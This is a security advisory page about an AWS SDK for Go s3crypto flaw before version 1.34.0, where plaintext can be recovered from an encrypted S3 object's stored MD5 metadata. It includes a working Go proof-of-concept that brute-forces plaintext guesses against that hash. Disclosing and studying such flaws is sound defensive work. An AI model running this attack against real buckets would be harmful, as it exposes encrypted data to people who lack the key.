Arbitrary File Read Affecting github.com/aws/aws-sdk-go/service/s3/s3crypto package, versions <1.34.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMAWSAWSSDKGOSERVICES3S3CRYPTO-2400633
  • published13 Feb 2022
  • disclosed11 Feb 2022
  • creditSophie Schmieg

Introduced: 11 Feb 2022

CVE NOT AVAILABLE CWE-22  (opens in a new tab)

How to fix?

Upgrade github.com/aws/aws-sdk-go/service/s3/s3crypto to version 1.34.0 or higher.

Overview

github.com/aws/aws-sdk-go/service/s3/s3crypto is an AWS SDK for the Go programming language.

Affected versions of this package are vulnerable to Arbitrary File Read. An attacker with read access to an encrypted S3 bucket is able to recover the plaintext without accessing the encryption key.

PoC:

func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
    _, header, err := input.S3Mock.GetObjectDirect(bucket, key)
    length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
    plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
    blocks := length / 16
    possiblePlaintextNum := 1
    segNum := len(input.PossiblePlaintextSegments)
    for i := 0; i < blocks; i++ {
        possiblePlaintextNum *= segNum
    }
    for i := 0; i < possiblePlaintextNum; i++ {
        w := i
        guess := ""
        for j := 0; j < blocks; j++ {
            guess += input.PossiblePlaintextSegments[w%segNum]
            w /= segNum
        }
        guessMd5 := md5.Sum([]byte(guess))
        if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
            return guess, nil
        }
    }
    return "", fmt.Errorf("No plaintext found!")
}

CVSS Scores

version 3.1